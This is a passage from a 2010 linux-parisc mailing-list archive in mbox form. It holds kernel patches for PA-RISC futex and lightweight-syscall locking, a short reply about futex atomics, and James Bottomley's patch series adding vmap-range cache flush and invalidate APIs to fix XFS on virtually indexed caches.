-	.rept 11
+	/* Fill from 0xb8 to 0xe0 */
+	.rept 10
 	KILL_INSN
 	.endr
 
@@ -423,9 +423,6 @@ tracesys_sigexit:
 
 	*********************************************************/
 lws_start:
-	/* Gate and ensure we return to userspace */
-	gate	.+8, %r0
-	depi	3, 31, 2, %r31	/* Ensure we return to userspace */
 
 #ifdef CONFIG_64BIT
 	/* FIXME: If we are a 64-bit kernel just
@@ -473,7 +470,7 @@ lws_exit:
 	/* now reset the lowest bit of sp if it was set */
 	xor	%r30,%r1,%r30
 #endif
-	be,n	0(%sr3, %r31)
+	be,n	0(%sr7, %r31)
 
 
 	
@@ -530,18 +527,17 @@ lws_compare_and_swap32:
 
 lws_compare_and_swap:
 #ifdef CONFIG_SMP
-	/* Load start of lock table */
-	ldil	L%lws_lock_start, %r20
-	ldo	R%lws_lock_start(%r20), %r28
+	/* Calculate lock table entry via ATOMIC_HASH(%r26) */
+	ldil	L%__atomic_user_hash, %r20
+	ldo	R%__atomic_user_hash(%r20), %r28
 
-	/* Extract four bits from r26 and hash lock (Bits 4-7) */
-	extru  %r26, 27, 4, %r20
+#ifdef CONFIG_64BIT
+	extrd,u %r26, 63-L1_CACHE_SHIFT, ASM_ATOMIC_HASH_SIZE_SHIFT, %r20
+#else
+	extru	%r26, 31-L1_CACHE_SHIFT, ASM_ATOMIC_HASH_SIZE_SHIFT, %r20
+#endif
+	shladd,l %r20, ASM_ATOMIC_HASH_ENTRY_SHIFT, %r28, %r20
 
-	/* Find lock to use, the hash is either one of 0 to
-	   15, multiplied by 16 (keep it 16-byte aligned)
-	   and add to the lock table offset. */
-	shlw	%r20, 4, %r20
-	add	%r20, %r28, %r20
 
 # if ENABLE_LWS_DEBUG
 	/*	
@@ -672,31 +668,6 @@ ENTRY(sys_call_table64)
 END(sys_call_table64)
 #endif
 
-#ifdef CONFIG_SMP
-	/*
-		All light-weight-syscall atomic operations 
-		will use this set of locks 
-
-		NOTE: The lws_lock_start symbol must be
-		at least 16-byte aligned for safe use
-		with ldcw.
-	*/
-	.section .data
-	.align	PAGE_SIZE
-ENTRY(lws_lock_start)
-	/* lws locks */
-	.rept 16
-	/* Keep locks aligned at 16-bytes */
-	.word 1
-	.word 0 
-	.word 0
-	.word 0
-	.endr
-END(lws_lock_start)
-	.previous
-#endif
-/* CONFIG_SMP for lws_lock_start */
-
 .end
 
 
diff --git a/arch/parisc/lib/bitops.c b/arch/parisc/lib/bitops.c
index 353963d..bae6a86 100644
--- a/arch/parisc/lib/bitops.c
+++ b/arch/parisc/lib/bitops.c
@@ -15,6 +15,9 @@
 arch_spinlock_t __atomic_hash[ATOMIC_HASH_SIZE] __lock_aligned = {
 	[0 ... (ATOMIC_HASH_SIZE-1)]  = __ARCH_SPIN_LOCK_UNLOCKED
 };
+arch_spinlock_t __atomic_user_hash[ATOMIC_HASH_SIZE] __lock_aligned = {
+	[0 ... (ATOMIC_HASH_SIZE-1)]  = __ARCH_SPIN_LOCK_UNLOCKED
+};
 #endif
 
 #ifdef CONFIG_64BIT
diff --git a/kernel/fork.c b/kernel/fork.c
index f88bd98..108b1ed 100644
--- a/kernel/fork.c
+++ b/kernel/fork.c
@@ -608,7 +608,10 @@ void mm_release(struct task_struct *tsk, struct mm_struct *mm)
 			 * We don't check the error code - if userspace has
 			 * not set up a proper pointer then tough luck.
 			 */
+			unsigned long flags;
+			_atomic_spin_lock_irqsave_user(tsk->clear_child_tid, flags);
 			put_user(0, tsk->clear_child_tid);
+			_atomic_spin_unlock_irqrestore_user(tsk->clear_child_tid, flags);
 			sys_futex(tsk->clear_child_tid, FUTEX_WAKE,
 					1, NULL, NULL, 0);
 		}
@@ -1432,8 +1435,12 @@ long do_fork(unsigned long clone_flags,
 
 		nr = task_pid_vnr(p);
 
-		if (clone_flags & CLONE_PARENT_SETTID)
+		if (clone_flags & CLONE_PARENT_SETTID) {
+			unsigned long flags;
+			_atomic_spin_lock_irqsave_user(parent_tidptr, flags);
 			put_user(nr, parent_tidptr);
+			_atomic_spin_unlock_irqrestore_user(parent_tidptr, flags);
+		}
 
 		if (clone_flags & CLONE_VFORK) {
 			p->vfork_done = &vfork;

--------------010104090504020303010203--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Wed, 3 Feb 2010 17:44:33 -0500
Lines: 14
Approved: news@gmane.org
Message-ID: <119aab441002031444p74b28041v4e630d433457113e@mail.gmail.com>
References: <20100108211733.852134EF4@hiauly1.hia.nrc.ca>
	 <4B689634.8060408@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1265237084 29035 80.91.229.12 (3 Feb 2010 22:44:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 3 Feb 2010 22:44:44 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	Kyle McMartin <kyle@mcmartin.ca>,
	John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 03 23:44:40 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ncnxe-0000QN-Nl
	for glpp-linux-parisc@lo.gmane.org; Wed, 03 Feb 2010 23:44:39 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756649Ab0BCWof (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 3 Feb 2010 17:44:35 -0500
Original-Received: from mail-ew0-f228.google.com ([209.85.219.228]:36869 "EHLO
	mail-ew0-f228.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755015Ab0BCWoe (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 3 Feb 2010 17:44:34 -0500
Original-Received: by ewy28 with SMTP id 28so2082493ewy.28
        for <linux-parisc@vger.kernel.org>; Wed, 03 Feb 2010 14:44:33 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type;
        bh=9SivzOGGDU4bQei89+F9/ier5/Y9wGczGdRQdHcLWBk=;
        b=r58i+znWtSAzstXZNTfhUbxfilpj5gnbMeH25rSboQa7aZJgmKJ3LLSC9h9e2RxLkl
         l+wsG4AVluaiSol/ZFQwQC260HrpiaKJ3lsqwVlaHRRZZKhL4ka2W7IC4zC6QdhBEYYN
         EckKItUZCkMywyHYHSSr3PC21KyEYVbU7gMsQ=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        b=gXT5TwlwTT9jjzPAqhcy62MwloADpz/4hiGiXpUSxOLFsFTAOlFxeEZUJfHDzqXue7
         WnS3WDisiqUbOt6zkWPEZxd3/A7mr2DTiyNvOVuVryfRzN/H4XP6BFF0Ne7xiXQqonco
         H9R0G8bT4Tab9EkLwSSBSTBSgOCG8HoISwM4c=
Original-Received: by 10.216.90.5 with SMTP id d5mr127909wef.147.1265237073376; Wed, 03 
	Feb 2010 14:44:33 -0800 (PST)
In-Reply-To: <4B689634.8060408@gmx.de>
X-Google-Sender-Auth: 73d604b1d464f205
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2619
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2619>

On Tue, Feb 2, 2010 at 4:16 PM, Helge Deller <deller@gmx.de> wrote:
> Furthermore, the coding for futex_atomic_op_inuser() in
> arch/parisc/include/asm/futex.h seems to miss real functionality.
> I didn't looked closer into this though.

I have a fix for futex_atomic_op_inuser(), but it needs more testing.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: [PATCHv3 0/5] fix xfs by making I/O to vmap/vmalloc areas work
Date: Fri,  5 Feb 2010 09:50:52 -0600
Lines: 37
Approved: news@gmane.org
Message-ID: <1265385057-2575-1-git-send-email-James.Bottomley@suse.de>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1265385074 31430 80.91.229.12 (5 Feb 2010 15:51:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 5 Feb 2010 15:51:14 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, rmk@arm.linux.org.uk,
	lethal@linux-sh.org, torvalds@linux-foundation.org, hch@lst.de,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: linux-arch@vger.kernel.org
Original-X-From: linux-arch-owner@vger.kernel.org Fri Feb 05 16:51:09 2010
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1NdQSa-0003CI-9f
	for glka-linux-arch@lo.gmane.org; Fri, 05 Feb 2010 16:51:08 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753973Ab0BEPvH (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Fri, 5 Feb 2010 10:51:07 -0500
Original-Received: from cantor2.suse.de ([195.135.220.15]:52402 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753598Ab0BEPvF (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Fri, 5 Feb 2010 10:51:05 -0500
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.221.2])
	by mx2.suse.de (Postfix) with ESMTP id 270AE89994;
	Fri,  5 Feb 2010 16:51:04 +0100 (CET)
X-Mailer: git-send-email 1.6.5
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:5129 gmane.linux.ports.parisc:2620
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2620>

From: James Bottomley <James.Bottomley@HansenPartnership.com>

This is essentially a small tidy up from the previous series.  I
thought about the Ben H additions, but since power doesn't seem to
need this, they seemed a bit moot (we can expand the API when an
actual user comes along).

The patch series adds a flush/invalidate_kernel_vmap_range() API that
drivers using vmap/vmalloc areas must use before sending tohse areas
for I/O.  This makes it crystal clear that coherence on these areas is
the responsibility of the driver alone.  Fortunately xfs is the only
thing in the kernel actually doing I/O to vmap areas.

Sin ce xfs is completely broken on most VIPT architectures without
this, I'd like to submit it as a bug fix for 2.6.33.  Unfortunately,
we actually have some parisc xfs users whose data is curently at
severe risk.

James

---

James Bottomley (5):
  mm: add coherence API for DMA to vmalloc/vmap areas
  parisc: add mm API for DMA to vmalloc/vmap areas
  arm: add mm API for DMA to vmalloc/vmap areas
  sh: add mm API for DMA to vmalloc/vmap areas
  xfs: fix xfs to work with Virtually Indexed architectures

 Documentation/cachetlb.txt           |   24 ++++++++++++++++++++++++
 arch/arm/include/asm/cacheflush.h    |   10 ++++++++++
 arch/parisc/include/asm/cacheflush.h |   12 ++++++++++++
 arch/sh/include/asm/cacheflush.h     |    8 ++++++++
 fs/xfs/linux-2.6/xfs_buf.c           |   30 +++++++++++++++++++++++++++++-
 include/linux/highmem.h              |    6 ++++++
 6 files changed, 89 insertions(+), 1 deletions(-)


From - Thu Nov 08 21:05:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: [PATCHv3 1/5] mm: add coherence API for DMA to vmalloc/vmap areas
Date: Fri,  5 Feb 2010 09:50:53 -0600
Lines: 67
Approved: news@gmane.org
Message-ID: <1265385057-2575-2-git-send-email-James.Bottomley@suse.de>
References: <1265385057-2575-1-git-send-email-James.Bottomley@suse.de>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1265385081 31456 80.91.229.12 (5 Feb 2010 15:51:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 5 Feb 2010 15:51:21 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, rmk@arm.linux.org.uk,
	lethal@linux-sh.org, torvalds@linux-foundation.org, hch@lst.de,
	James Bottomley <James.Bottomley@suse.de>
To: linux-arch@vger.kernel.org
Original-X-From: linux-arch-owner@vger.kernel.org Fri Feb 05 16:51:17 2010
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1NdQSe-0003CI-Kp
	for glka-linux-arch@lo.gmane.org; Fri, 05 Feb 2010 16:51:12 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753923Ab0BEPvL (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Fri, 5 Feb 2010 10:51:11 -0500
Original-Received: from cantor2.suse.de ([195.135.220.15]:52409 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753586Ab0BEPvH (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Fri, 5 Feb 2010 10:51:07 -0500
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.221.2])
	by mx2.suse.de (Postfix) with ESMTP id 9654389E74;
	Fri,  5 Feb 2010 16:51:06 +0100 (CET)
X-Mailer: git-send-email 1.6.5
In-Reply-To: <1265385057-2575-1-git-send-email-James.Bottomley@suse.de>
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:5130 gmane.linux.ports.parisc:2621
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2621>

On Virtually Indexed architectures (which don't do automatic alias
resolution in their caches), we have to flush via the correct
virtual address to prepare pages for DMA.  On some architectures
(like arm) we cannot prevent the CPU from doing data movein along
the alias (and thus giving stale read data), so we not only have to
introduce a flush API to push dirty cache lines out, but also an invalidate
API to kill inconsistent cache lines that may have moved in before
DMA changed the data

Signed-off-by: James Bottomley <James.Bottomley@suse.de>
---
 Documentation/cachetlb.txt |   24 ++++++++++++++++++++++++
 include/linux/highmem.h    |    6 ++++++
 2 files changed, 30 insertions(+), 0 deletions(-)

diff --git a/Documentation/cachetlb.txt b/Documentation/cachetlb.txt
index da42ab4..b231414 100644
--- a/Documentation/cachetlb.txt
+++ b/Documentation/cachetlb.txt
@@ -377,3 +377,27 @@ maps this page at its virtual address.
 	All the functionality of flush_icache_page can be implemented in
 	flush_dcache_page and update_mmu_cache. In 2.7 the hope is to
 	remove this interface completely.
+
+The final category of APIs is for I/O to deliberately aliased address
+ranges inside the kernel.  Such aliases are set up by use of the
+vmap/vmalloc API.  Since kernel I/O goes via physical pages, the I/O
+subsystem assumes that the user mapping and kernel offset mapping are
+the only aliases.  This isn't true for vmap aliases, so anything in
+the kernel trying to do I/O to vmap areas must manually manage
+coherency.  It must do this by flushing the vmap range before doing
+I/O and invalidating it after the I/O returns.
+
+  void flush_kernel_vmap_range(void *vaddr, int size)
+       flushes the kernel cache for a given virtual address range in
+       the vmap area.  This is to make sure that any data the kernel
+       modified in the vmap range is made visible to the physical
+       page.  The design is to make this area safe to perform I/O on.
+       Note that this API does *not* also flush the offset map alias
+       of the area.
+
+  void invalidate_kernel_vmap_range(void *vaddr, int size) invalidates
+       the cache for a given virtual address range in the vmap area
+       which prevents the processor from making the cache stale by
+       speculatively reading data while the I/O was occurring to the
+       physical pages.  This is only necessary for data reads into the
+       vmap area.
diff --git a/include/linux/highmem.h b/include/linux/highmem.h
index 211ff44..adfe101 100644
--- a/include/linux/highmem.h
+++ b/include/linux/highmem.h
@@ -17,6 +17,12 @@ static inline void flush_anon_page(struct vm_area_struct *vma, struct page *page
 static inline void flush_kernel_dcache_page(struct page *page)
 {
 }
+static inline void flush_kernel_vmap_range(void *vaddr, int size)
+{
+}
+static inline void invalidate_kernel_vmap_range(void *vaddr, int size)
+{
+}
 #endif
 
 #include <asm/kmap_types.h>
-- 
1.6.5


From - Thu Nov 08 21:05:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: [PATCHv3 3/5] arm: add mm API for DMA to vmalloc/vmap areas
Date: Fri,  5 Feb 2010 09:50:55 -0600
Lines: 37
Approved: news@gmane.org
Message-ID: <1265385057-2575-4-git-send-email-James.Bottomley@suse.de>
References: <1265385057-2575-1-git-send-email-James.Bottomley@suse.de>
 <1265385057-2575-2-git-send-email-James.Bottomley@suse.de>
 <1265385057-2575-3-git-send-email-James.Bottomley@suse.de>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1265385082 31466 80.91.229.12 (5 Feb 2010 15:51:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 5 Feb 2010 15:51:22 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, rmk@arm.linux.org.uk,
	lethal@linux-sh.org, torvalds@linux-foundation.org, hch@lst.de,
	James Bottomley <James.Bottomley@suse.de>
To: linux-arch@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 05 16:51:18 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NdQSh-0003CI-JB
	for glpp-linux-parisc@lo.gmane.org; Fri, 05 Feb 2010 16:51:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753991Ab0BEPvP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 5 Feb 2010 10:51:15 -0500
Original-Received: from cantor2.suse.de ([195.135.220.15]:52421 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753907Ab0BEPvO (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 5 Feb 2010 10:51:14 -0500
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.221.2])
	by mx2.suse.de (Postfix) with ESMTP id 6B9DA89E74;
	Fri,  5 Feb 2010 16:51:13 +0100 (CET)
X-Mailer: git-send-email 1.6.5
In-Reply-To: <1265385057-2575-3-git-send-email-James.Bottomley@suse.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2622 gmane.linux.kernel.cross-arch:5131
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2622>

ARM cannot prevent cache movein, so this patch implements both the
flush and invalidate pieces of the API.

Signed-off-by: James Bottomley <James.Bottomley@suse.de>
---
 arch/arm/include/asm/cacheflush.h |   10 ++++++++++
 1 files changed, 10 insertions(+), 0 deletions(-)

diff --git a/arch/arm/include/asm/cacheflush.h b/arch/arm/include/asm/cacheflush.h
index 730aefc..4ae503c 100644
--- a/arch/arm/include/asm/cacheflush.h
+++ b/arch/arm/include/asm/cacheflush.h
@@ -432,6 +432,16 @@ static inline void __flush_icache_all(void)
 	    : "r" (0));
 #endif
 }
+static inline void flush_kernel_vmap_range(void *addr, int size)
+{
+	if ((cache_is_vivt() || cache_is_vipt_aliasing()))
+	  __cpuc_flush_dcache_area(addr, (size_t)size);
+}
+static inline void invalidate_kernel_vmap_range(void *addr, int size)
+{
+	if ((cache_is_vivt() || cache_is_vipt_aliasing()))
+	  __cpuc_flush_dcache_area(addr, (size_t)size);
+}
 
 #define ARCH_HAS_FLUSH_ANON_PAGE
 static inline void flush_anon_page(struct vm_area_struct *vma,
-- 
1.6.5

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: [PATCHv3 2/5] parisc: add mm API for DMA to vmalloc/vmap areas
Date: Fri,  5 Feb 2010 09:50:54 -0600
Lines: 41
Approved: news@gmane.org
Message-ID: <1265385057-2575-3-git-send-email-James.Bottomley@suse.de>
References: <1265385057-2575-1-git-send-email-James.Bottomley@suse.de>
 <1265385057-2575-2-git-send-email-James.Bottomley@suse.de>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1265385082 31468 80.91.229.12 (5 Feb 2010 15:51:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 5 Feb 2010 15:51:22 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, rmk@arm.linux.org.uk,
	lethal@linux-sh.org, torvalds@linux-foundation.org, hch@lst.de,
	James Bottomley <James.Bottomley@suse.de>
To: linux-arch@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 05 16:51:18 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NdQSf-0003CI-5u
	for glpp-linux-parisc@lo.gmane.org; Fri, 05 Feb 2010 16:51:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753586Ab0BEPvM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 5 Feb 2010 10:51:12 -0500
Original-Received: from cantor2.suse.de ([195.135.220.15]:52415 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753598Ab0BEPvK (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 5 Feb 2010 10:51:10 -0500
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.221.2])
	by mx2.suse.de (Postfix) with ESMTP id 1FFDF89FC6;
	Fri,  5 Feb 2010 16:51:10 +0100 (CET)
X-Mailer: git-send-email 1.6.5
In-Reply-To: <1265385057-2575-2-git-send-email-James.Bottomley@suse.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2623 gmane.linux.kernel.cross-arch:5132
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2623>

We already have an API to flush a kernel page along an alias
address, so use it.  The TLB purge prevents the CPU from doing
speculative moveins on the flushed address, so we don't need to
implement and invalidate.

Signed-off-by: James Bottomley <James.Bottomley@suse.de>
---
 arch/parisc/include/asm/cacheflush.h |   12 ++++++++++++
 1 files changed, 12 insertions(+), 0 deletions(-)

diff --git a/arch/parisc/include/asm/cacheflush.h b/arch/parisc/include/asm/cacheflush.h
index 7a73b61..4772777 100644
--- a/arch/parisc/include/asm/cacheflush.h
+++ b/arch/parisc/include/asm/cacheflush.h
@@ -38,6 +38,18 @@ void flush_cache_mm(struct mm_struct *mm);
 
 #define flush_kernel_dcache_range(start,size) \
 	flush_kernel_dcache_range_asm((start), (start)+(size));
+/* vmap range flushes and invalidates.  Architecturally, we don't need
+ * the invalidate, because the CPU should refuse to speculate once an
+ * area has been flushed, so invalidate is left empty */
+static inline void flush_kernel_vmap_range(void *vaddr, int size)
+{
+	unsigned long start = (unsigned long)vaddr;
+
+	flush_kernel_dcache_range_asm(start, start + size);
+}
+static inline void invalidate_kernel_vmap_range(void *vaddr, int size)
+{
+}
 
 #define flush_cache_vmap(start, end)		flush_cache_all()
 #define flush_cache_vunmap(start, end)		flush_cache_all()
-- 
1.6.5

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: [PATCHv3 4/5] sh: add mm API for DMA to vmalloc/vmap areas
Date: Fri,  5 Feb 2010 09:50:56 -0600
Lines: 32
Approved: news@gmane.org
Message-ID: <1265385057-2575-5-git-send-email-James.Bottomley@suse.de>
References: <1265385057-2575-1-git-send-email-James.Bottomley@suse.de>
 <1265385057-2575-2-git-send-email-James.Bottomley@suse.de>
 <1265385057-2575-3-git-send-email-James.Bottomley@suse.de>
 <1265385057-2575-4-git-send-email-James.Bottomley@suse.de>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1265385090 31506 80.91.229.12 (5 Feb 2010 15:51:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 5 Feb 2010 15:51:30 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, rmk@arm.linux.org.uk,
	lethal@linux-sh.org, torvalds@linux-foundation.org, hch@lst.de,
	James Bottomley <James.Bottomley@suse.de>
To: linux-arch@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 05 16:51:26 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NdQSk-0003CI-D5
	for glpp-linux-parisc@lo.gmane.org; Fri, 05 Feb 2010 16:51:18 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754062Ab0BEPvR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 5 Feb 2010 10:51:17 -0500
Original-Received: from cantor2.suse.de ([195.135.220.15]:52426 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754023Ab0BEPvR (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 5 Feb 2010 10:51:17 -0500
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.221.2])
	by mx2.suse.de (Postfix) with ESMTP id 8148F89FC6;
	Fri,  5 Feb 2010 16:51:16 +0100 (CET)
X-Mailer: git-send-email 1.6.5
In-Reply-To: <1265385057-2575-4-git-send-email-James.Bottomley@suse.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2624 gmane.linux.kernel.cross-arch:5133
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2624>

Signed-off-by: James Bottomley <James.Bottomley@suse.de>
---
 arch/sh/include/asm/cacheflush.h |    8 ++++++++
 1 files changed, 8 insertions(+), 0 deletions(-)

diff --git a/arch/sh/include/asm/cacheflush.h b/arch/sh/include/asm/cacheflush.h
index dda96eb..da3ebec 100644
--- a/arch/sh/include/asm/cacheflush.h
+++ b/arch/sh/include/asm/cacheflush.h
@@ -63,6 +63,14 @@ static inline void flush_anon_page(struct vm_area_struct *vma,
 	if (boot_cpu_data.dcache.n_aliases && PageAnon(page))
 		__flush_anon_page(page, vmaddr);
 }
+static inline void flush_kernel_vmap_range(void *addr, int size)
+{
+	__flush_wback_region(addr, size);
+}
